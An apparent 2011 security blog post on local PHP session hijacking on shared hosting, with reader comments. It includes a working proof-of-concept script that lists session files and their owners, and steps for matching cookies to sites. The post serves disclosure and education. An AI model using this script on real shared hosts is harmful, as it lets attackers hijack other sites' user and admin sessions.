( ~~~ )
  ))^ ^((
 ((* - *))
   _) (_
 / '--' \     ^
//(_  _)\\   /_\
\\ )__( //   .'
 (( v  ))   (
   \| /\     '-.
    K(  \       )
    |\\  '-._.-'
    ||\\
  *_-P/,P
     '-
Want your PHP application manually audited? Check out Xxor AB's PHP Security Auditing Service

Thursday, August 4, 2011

Local Session Hijacking in PHP

Recently I discovered that the shared hosting provider I sometimes use is susceptible to this age-old technique that everyone really should know about by now.

PHP's default session handler stores session data in files. And by default these files are placed in /tmp. In a shared enviroment session files should never be placed in a directory that can be read by a malicious local user like the world readable /tmp directory.

Even if the session files might be protected from being read or written by a malicious user, their name leaks valuable information. The name of a typical session file name reads "sess_0m9gnkgenne66kvs3eklhvucjmdpchto". All the numbers and letters following "sess_" are those of the PHPSESSID cookie which that session is tied to. Any local user who can enumerate the files in this directory can therefor hijack the cookies belonging to the visitors of all the websites located in the shared host. One of them might belong to an admin at one of the local websites.

POC

Here is a short script to enumerate session files and their respective local owner. <?php // http://ha.xxor.se/2011/08/local-session-hijacking.html // Retrieve the path where session files are saved session_save_path(); // Might have to be called twice... not sure. $sesspath = session_save_path(); if(php_sapi_name()!=='cli')echo "<pre>\n"; // Test session.save_handler $sessmod = session_module_name(); if(empty($sessmod))$sessmod = ini_get('session.save_handler'); echo "[i] Session save handler: $sessmod\n"; if($sessmod !== 'files'){ echo "[!] Possible Error: session.save_handler is set to '$sessmod' instead of 'files'. Trying anyway.\n"; } if(empty($sesspath)){ $sesspath = ini_get('session.save_path'); if(empty($sesspath)){ if(function_exists('sys_get_temp_dir')){ $sesspath = sys_get_temp_dir(); }else{ die('Error:Cant fins session save path. Try setting it manualy.'); } } } $sesspath = array_pop(explode(';',$sesspath)); echo "[i] Session save path: $sesspath\n"; // Enumerate sessions and their owner. clearstatcache(); echo "\nOwner File\n"; if(!findSessIn($sesspath)){ die("[!] Error: Cannot open the session save path.\n"); } function findSessIn($dir){ if(!($handler = opendir($dir))){ return false; } while ($file = readdir($handler)){ $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file; if (substr($file, 0, 5) === 'sess_'){ $owner = fileowner($path); if(function_exists('posix_getpwuid')){ $owner = posix_getpwuid($owner); $owner = $owner['name']; } if(strlen($owner) < 16)$owner = substr($owner.str_repeat(' ',15), 0, 15); echo "$owner $path\n"; }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){ findSessIn($path); } } closedir($handler); return true; } ?> To find out which website corresponds to which local user, simply visit the website, grab your cookie and then search for its value and the local user in the list.

4 comments:

  1. Excellent post.

    ReplyDelete
  2. @Anonymous
    @Lagripe-dz

    Thank you.
    If you like messing with session, stay tuned.
    I've got an interesting series of articles about session poisoning coming up.

    ReplyDelete
  3. Please keep this kind of blog-posts coming.

    The articles are very well written, and gives good insights that other blogs dont.

    Thx for sharing :]

    ReplyDelete